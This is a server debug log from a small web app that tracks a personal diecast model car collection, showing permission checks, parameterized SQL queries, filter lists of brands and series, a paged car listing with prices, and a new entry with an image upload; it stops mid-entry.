2026-02-04T04:31:45.681Z server-connect:app Executing action step identify
2026-02-04T04:31:45.681Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:45.681Z server-connect:output identity: 1
2026-02-04T04:31:45.681Z server-connect:app Executing action step restrict
2026-02-04T04:31:45.681Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:45.681Z server-connect:output restrict: undefined
2026-02-04T04:31:45.681Z server-connect:app Executing action step select
2026-02-04T04:31:45.681Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T04:31:45.682Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T04:31:45.682Z server-connect:output restrict: undefined
2026-02-04T04:31:45.682Z server-connect:app Executing action step paged
2026-02-04T04:31:45.682Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:31:45.684Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-04T04:31:45.685Z server-connect:app Executing action step identify
2026-02-04T04:31:45.685Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:45.685Z server-connect:output identity: 1
2026-02-04T04:31:45.685Z server-connect:app Executing action step restrict
2026-02-04T04:31:45.685Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:45.685Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T04:31:45.686Z server-connect:app Executing action step identify
2026-02-04T04:31:45.686Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:45.686Z server-connect:output identity: 1
2026-02-04T04:31:45.686Z server-connect:app Executing action step restrict
2026-02-04T04:31:45.686Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:45.687Z server-connect:output restrict: undefined
2026-02-04T04:31:45.687Z server-connect:app Executing action step select
2026-02-04T04:31:45.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T04:31:45.688Z server-connect:output restrict: undefined
2026-02-04T04:31:45.688Z server-connect:app Executing action step select
2026-02-04T04:31:45.688Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T04:31:45.689Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T04:31:45.690Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T04:31:45.690Z server-connect:app Executing action step select
2026-02-04T04:31:45.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T04:31:45.691Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T04:31:45.691Z server-connect:app Executing action step select
2026-02-04T04:31:45.691Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T04:31:45.692Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T04:31:45.693Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 124,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:39:10.216Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:39:10.216Z server-connect:app Executing action step identify
2026-02-04T04:39:10.216Z server-connect:app options: { provider: 'security' }
2026-02-04T04:39:10.216Z server-connect:output identity: 1
2026-02-04T04:39:10.217Z server-connect:app Executing action step restrict
2026-02-04T04:39:10.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:39:10.218Z server-connect:output restrict: undefined
2026-02-04T04:39:10.274Z server-connect:app Executing action step condition
2026-02-04T04:39:10.274Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:39:10.274Z server-connect:app Executing action step insert
2026-02-04T04:39:10.275Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:39:10.277Z server-connect:output insert: { affected: 1, identity: 143 }
2026-02-04T04:39:10.277Z server-connect:app Executing action step condition
2026-02-04T04:39:10.277Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:39:10.277Z server-connect:app Executing action step upload
2026-02-04T04:39:10.277Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:39:10.277Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:39:10.277Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:39:10.277Z server-connect:upload Processing file: {
  name: 'ID066158_48MYUYVdBrTY.png',
  data: <Buffer >,
  size: 741763,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-10-20378841770179950064',
  truncated: false,
  mimetype: 'image/png',
  md5: '59319cb662be57383ae26c390bdad6e4',
  mv: [Function: mv]
}
2026-02-04T04:39:10.277Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png',
  rel: 'public/assets/images/diecast/ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png'
}
2026-02-04T04:39:10.277Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png',
  rel: 'assets/images/diecast/ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png'
}
2026-02-04T04:39:10.277Z server-connect:output upload_image: [
  {
    name: 'ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png',
    path: '/public/assets/images/diecast/ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png',
    url: '/assets/images/diecast/ID066158_48MYUYVdBrTY_07373d0f-3980-4739-9c7d-de8f6bc11c0e.png',
    type: 'image/png',
    size: 741763
  }
]
2026-02-04T04:39:10.277Z server-connect:app Executing action step repeat
2026-02-04T04:39:10.277Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:39:10.278Z server-connect:app Executing action step insert
2026-02-04T04:39:10.278Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:39:10.279Z server-connect:output images: { affected: 1, identity: 161 }
2026-02-04T04:39:10.279Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:39:10.279Z server-connect:output condition: undefined
2026-02-04T04:39:10.279Z server-connect:output condition: undefined
2026-02-04T04:39:10.516Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:39:10.516Z server-connect:app Executing action step identify
2026-02-04T04:39:10.516Z server-connect:app options: { provider: 'security' }
2026-02-04T04:39:10.516Z server-connect:output identity: 1
2026-02-04T04:39:10.516Z server-connect:app Executing action step restrict
2026-02-04T04:39:10.516Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:39:10.516Z server-connect:output restrict: undefined
2026-02-04T04:39:10.516Z server-connect:app Executing action step paged
2026-02-04T04:39:10.517Z server-connect:app options: {
